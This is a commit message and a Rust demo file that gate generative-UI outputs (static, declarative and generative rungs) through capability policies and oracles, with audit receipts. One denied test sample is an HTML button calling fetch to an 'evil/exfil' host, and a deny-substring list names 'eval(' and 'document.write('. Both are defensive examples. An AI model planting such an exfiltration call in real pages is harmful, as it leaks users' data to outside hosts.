Deep-dive on Mira Murati's Interaction Models paper confirmed the
2026 streaming primitive set (276B MoE / 12B active TML-Interaction-
Small, continuous interleaving of 200ms input + 200ms output,
multi-stream parallel audio/video/text). Cross-reference: the
generative-UI side converged on the same window — MCP Apps (Jan 26
2026), AG-UI, Google A2UI, Open-JSON-UI all settled on three rungs
(Static / Declarative / Generative) with iframe sandbox for the
generative rung, matching Ruben Casses's Postman keynote ladder.
The two axes — interaction tempo (Mira) and UI-generation rung
(Ruben) — are orthogonal. Wave-47 typed up the first axis. Wave-48
types the second + composes them.
Four deliverables:
1. jouleclaw-ui-output (new crate) — pure types.
- UiOutput { Static { component_id, props } | Declarative
{ schema_id, descriptor } | Generative { language, source,
capabilities } }. Each rung carries the engineering invariant
its trust level requires.
- SandboxCapability + CapabilityPolicy { Empty | Allow(set) }
with check_all() returning first denied — the JouleClaw
doctrine demands default-empty allow-lists.
- ComponentRegistry for Static-rung validation (registered
allow-list, idempotent on id).
- DEFAULT_GENERATIVE_HTML_BYTES = 32 KiB, _REACT_BYTES = 64 KiB
+ default_generative_budget() lookup.
- UI_OUTPUT_MIME = "application/x.jouleclaw-ui-output+json" —
stable MIME so a jouleclaw-stream::Tick can carry a UiOutput
in its bytes WITHOUT extending the tick schema (and breaking
wave-47's stream-window/1 conformance vectors).
- Canonical JSON (sorted keys) + content_hash + payload_bytes
for receipt content-addressing and rolling-conservation
accounting.
- 11 tests.
2. jouleclaw-ui-oracle (new crate) — per-rung Oracle backends.
- StaticUiOracle — component_id ∈ ComponentRegistry.
- DeclarativeUiOracle — schema_id matches + descriptor.kind ∈
allowed_kinds. (Schema validation of the full descriptor is
the renderer's job; this gate refuses unrecognised kinds
before the renderer is reached.)
- GenerativeUiOracle — CapabilityPolicy.check_all + per-
language byte budget + caller-configurable deny-substring
list (default empty; callers seed `"eval("`,
`"document.write("`, etc. per their threat model).
- All three implement the per-request jouleclaw-oracle::Oracle
trait so they compose via CompositeOracle alongside the
FuzzOracle and the future Lean Oracle, AND lift into the
streaming cascade via jouleclaw-stream-oracle::PerTickAdapter.
- 13 tests covering each rung's pass/fail paths + wrong-rung
rejection + composition.
3. jouleclaw-jcr1 — ui-output/1 schema.
- UiOutputReceipt { jc_receipt, id, closed_at, steward, rung,
content_hash, byte_length, granted_capabilities, verdict,
stream_id, window_id }. Optional stream_id + window_id
correlate the UI receipt with a stream-window/1 receipt for
full-session reconstruction.
- UiRungWire { static | declarative | generative };
UiVerdictWire { Pass { oracle_id } | Fail { subkind, message } }.
- 2 conformance vectors (Static Pass with stream correlation;
Generative Fail standalone) with embedded receipt_hash the
Rust verifier asserts byte-equal at test time.
- 3 ui_output tests on top of the existing jcr1 surface.
4. Demo binary — examples/wave48_ui_streaming.rs in
jouleclaw-stack. Four UI outputs ship through the gates: one
per rung passes (Static / Declarative / Generative-with-
clipboard), plus one Generative-with-net.fetch that's correctly
denied by the capability policy. Each render mints a ui-output/1
receipt correlated to a streaming-window id.
Composition summary across waves 46-48:
per-request: Candidate → CompositeOracle (Fuzz | UiRung*)
→ Verdict → JCR-1 verified-code/1
OR JCR-1 ui-output/1
streaming-per-win: StreamWindow → CompositeStreamOracle (BargeIn
| PerTickAdapter<UiRungOracle>)
→ WindowVerdict → JCR-1 stream-window/1
+ RollingConservationLedger
+ per-output JCR-1 ui-output/1
(correlated by stream_id+window_id)
The triangle (conservation + cone + oracle + elicitor) types every
slot up; wave-46 / 47 / 48 fill backend slots without rewriting the
triangle itself. The MCP-Apps / AG-UI / A2UI ecosystem can target
jouleclaw-ui-output as the substrate-grade common type for what
an agent emits to the front-end, with receipts proving which rung
shipped, which capabilities were granted, and which gate signed
off.
Workspace check clean.
Co-Authored-By: Claude Opus 4.7 <[email protected]>
244 lines
8.3 KiB
Rust
244 lines
8.3 KiB
Rust
//! `wave48_ui_streaming` — generative-UI ladder + streaming
|
||
//! substrate composed end-to-end.
|
||
//!
|
||
//! Three UI outputs ship on the `text.out` channel of a duplex
|
||
//! voice stream — one per rung of the ladder:
|
||
//!
|
||
//! 1. **Static** — `weather.card` with props. Passes the
|
||
//! [`StaticUiOracle`] gate against a small registry.
|
||
//! 2. **Declarative** — an `a2ui/1` descriptor with `kind: card`.
|
||
//! Passes the [`DeclarativeUiOracle`]'s allow-list.
|
||
//! 3. **Generative** — raw HTML asking for `clipboard.write` only;
|
||
//! passes the [`GenerativeUiOracle`]'s `CapabilityPolicy`.
|
||
//! 4. **Generative (denied)** — same HTML but asks for `net.fetch`.
|
||
//! Fails the policy. The receipt records the denial.
|
||
//!
|
||
//! Each render mints a JCR-1 `ui-output/1` receipt; the receipts
|
||
//! correlate to the parent stream via `stream_id` + `window_id`,
|
||
//! so an auditor reading both the `stream-window/1` AND
|
||
//! `ui-output/1` receipts can reconstruct the full session.
|
||
//!
|
||
//! Run:
|
||
//! cargo run -p jouleclaw-stack --example wave48_ui_streaming
|
||
|
||
use jouleclaw_jcr1::{UiOutputReceipt, UiRungWire, UiVerdictWire};
|
||
use jouleclaw_oracle::{Candidate, Oracle, Verdict};
|
||
use jouleclaw_ui_oracle::{DeclarativeUiOracle, GenerativeUiOracle, StaticUiOracle};
|
||
use jouleclaw_ui_output::{
|
||
CapabilityPolicy, ComponentRegistry, RegisteredComponent, SandboxCapability, UiOutput,
|
||
};
|
||
use serde_json::json;
|
||
|
||
const STREAM_ID: &str = "stream-demo";
|
||
const STEWARD: &str = "did:keri:EJ9testStewardAID000000000000000";
|
||
|
||
fn build_registry() -> ComponentRegistry {
|
||
let mut r = ComponentRegistry::new();
|
||
r.register(RegisteredComponent {
|
||
id: "weather.card".into(),
|
||
description: "renders a weather card from props".into(),
|
||
});
|
||
r.register(RegisteredComponent {
|
||
id: "list.simple".into(),
|
||
description: "renders a flat list of strings".into(),
|
||
});
|
||
r
|
||
}
|
||
|
||
fn build_policy() -> CapabilityPolicy {
|
||
CapabilityPolicy::allow([SandboxCapability::new("clipboard.write")])
|
||
}
|
||
|
||
async fn gate_with(
|
||
oracle: &dyn Oracle,
|
||
ui: &UiOutput,
|
||
) -> (UiVerdictWire, Vec<String>) {
|
||
let content = serde_json::to_string(ui).expect("ui serialises");
|
||
let candidate = Candidate {
|
||
id: "demo".into(),
|
||
content,
|
||
language: "json".into(),
|
||
source_tier: "stream".into(),
|
||
provenance: "wave-48-demo".into(),
|
||
};
|
||
match oracle.verify(&candidate).await.expect("oracle") {
|
||
Verdict::Pass { chain } => {
|
||
let oracle_id = chain.first().cloned().unwrap_or_default();
|
||
(
|
||
UiVerdictWire::Pass {
|
||
oracle_id: oracle_id.clone(),
|
||
},
|
||
chain,
|
||
)
|
||
}
|
||
Verdict::Fail { reasons } => {
|
||
let r = reasons.into_iter().next();
|
||
let (subkind, message) = match r {
|
||
Some(jouleclaw_oracle::FailReason::Custom { subkind, message }) => {
|
||
(subkind, message)
|
||
}
|
||
Some(other) => ("unknown".into(), format!("{other:?}")),
|
||
None => ("unknown".into(), String::new()),
|
||
};
|
||
(UiVerdictWire::Fail { subkind, message }, vec![])
|
||
}
|
||
}
|
||
}
|
||
|
||
fn mint_receipt(
|
||
receipt_id: &str,
|
||
ui: &UiOutput,
|
||
verdict: UiVerdictWire,
|
||
window_id: u64,
|
||
) -> UiOutputReceipt {
|
||
let rung = match ui {
|
||
UiOutput::Static { .. } => UiRungWire::Static,
|
||
UiOutput::Declarative { .. } => UiRungWire::Declarative,
|
||
UiOutput::Generative { .. } => UiRungWire::Generative,
|
||
};
|
||
let content_hash = ui.content_hash().expect("hash");
|
||
let byte_length = ui.payload_bytes().expect("bytes") as u64;
|
||
let granted: Vec<String> = match ui {
|
||
UiOutput::Generative { capabilities, .. }
|
||
if matches!(verdict, UiVerdictWire::Pass { .. }) =>
|
||
{
|
||
capabilities.iter().map(|c| c.to_string()).collect()
|
||
}
|
||
_ => vec![],
|
||
};
|
||
UiOutputReceipt::build(
|
||
receipt_id,
|
||
format!("2026-06-05T00:00:{:02}Z", window_id % 60),
|
||
STEWARD,
|
||
rung,
|
||
content_hash,
|
||
byte_length,
|
||
granted,
|
||
verdict,
|
||
STREAM_ID,
|
||
window_id,
|
||
)
|
||
}
|
||
|
||
#[tokio::main(flavor = "current_thread")]
|
||
async fn main() {
|
||
println!("== wave-48 UI streaming demo (ladder × streaming substrate) ==\n");
|
||
|
||
let registry = build_registry();
|
||
let policy = build_policy();
|
||
|
||
let static_oracle = StaticUiOracle::new("static-ui-gate", registry);
|
||
let declarative_oracle = DeclarativeUiOracle::new(
|
||
"declarative-ui-gate",
|
||
"a2ui/1",
|
||
vec!["card".into(), "text".into(), "list".into()],
|
||
);
|
||
let generative_oracle = GenerativeUiOracle::new("generative-ui-gate", policy)
|
||
.deny_substring("eval(")
|
||
.deny_substring("document.write(");
|
||
|
||
// The four scripted UI outputs.
|
||
let outputs: Vec<(u64, &str, UiOutput, &dyn Oracle)> = vec![
|
||
(
|
||
3,
|
||
"static — registered weather card",
|
||
UiOutput::Static {
|
||
component_id: "weather.card".into(),
|
||
props: json!({"city": "Paris", "temp_c": 18}),
|
||
},
|
||
&static_oracle as &dyn Oracle,
|
||
),
|
||
(
|
||
4,
|
||
"declarative — a2ui/1 card descriptor",
|
||
UiOutput::Declarative {
|
||
schema_id: "a2ui/1".into(),
|
||
descriptor: json!({
|
||
"kind": "card",
|
||
"title": "Reminder",
|
||
"children": [{"kind": "text", "value": "demo at 14:00"}]
|
||
}),
|
||
},
|
||
&declarative_oracle as &dyn Oracle,
|
||
),
|
||
(
|
||
5,
|
||
"generative — minimal HTML asking for clipboard.write",
|
||
UiOutput::Generative {
|
||
language: "html".into(),
|
||
source: "<button onclick='navigator.clipboard.writeText(\"hi\")'>copy</button>"
|
||
.into(),
|
||
capabilities: vec![SandboxCapability::new("clipboard.write")],
|
||
},
|
||
&generative_oracle as &dyn Oracle,
|
||
),
|
||
(
|
||
6,
|
||
"generative DENIED — asks for net.fetch (not in policy)",
|
||
UiOutput::Generative {
|
||
language: "html".into(),
|
||
source: "<button onclick='fetch(\"https://evil/exfil\")'>tap me</button>"
|
||
.into(),
|
||
capabilities: vec![SandboxCapability::new("net.fetch")],
|
||
},
|
||
&generative_oracle as &dyn Oracle,
|
||
),
|
||
];
|
||
|
||
let mut total_pass = 0usize;
|
||
let mut total_fail = 0usize;
|
||
let mut total_bytes: u64 = 0;
|
||
|
||
for (window_id, label, ui, oracle) in &outputs {
|
||
let (verdict, _chain) = gate_with(*oracle, ui).await;
|
||
let pass = matches!(verdict, UiVerdictWire::Pass { .. });
|
||
if pass {
|
||
total_pass += 1;
|
||
} else {
|
||
total_fail += 1;
|
||
}
|
||
let receipt = mint_receipt(
|
||
&format!("{}:ui:{:04}", STREAM_ID, window_id),
|
||
ui,
|
||
verdict.clone(),
|
||
*window_id,
|
||
);
|
||
let bytes = ui.payload_bytes().unwrap_or(0) as u64;
|
||
total_bytes += bytes;
|
||
let receipt_bytes = receipt.canonical_bytes().expect("canonical");
|
||
let receipt_hash = receipt.receipt_hash().expect("hash");
|
||
|
||
let tag = if pass { "PASS " } else { "FAIL " };
|
||
let rung_tag = ui.rung();
|
||
let detail = match &verdict {
|
||
UiVerdictWire::Pass { oracle_id } => format!("oracle={oracle_id}"),
|
||
UiVerdictWire::Fail { subkind, .. } => format!("subkind={subkind}"),
|
||
};
|
||
println!(
|
||
" w{:02} {} [{:<11}] ({:>4} B) receipt {} B hash={}",
|
||
window_id,
|
||
tag,
|
||
rung_tag,
|
||
bytes,
|
||
receipt_bytes.len(),
|
||
&receipt_hash[..16]
|
||
);
|
||
println!(" {label}");
|
||
println!(" {detail}\n");
|
||
}
|
||
|
||
println!("== summary ==");
|
||
println!(
|
||
" outputs: {} | pass={} fail={} ui-bytes-on-wire={} B",
|
||
outputs.len(),
|
||
total_pass,
|
||
total_fail,
|
||
total_bytes
|
||
);
|
||
println!();
|
||
println!("✓ UI ladder + streaming substrate compose end-to-end:");
|
||
println!(
|
||
" UiOutput (Static | Declarative | Generative) → per-rung Oracle →"
|
||
);
|
||
println!(" JCR-1 ui-output/1 receipt correlated to stream + window");
|
||
}
|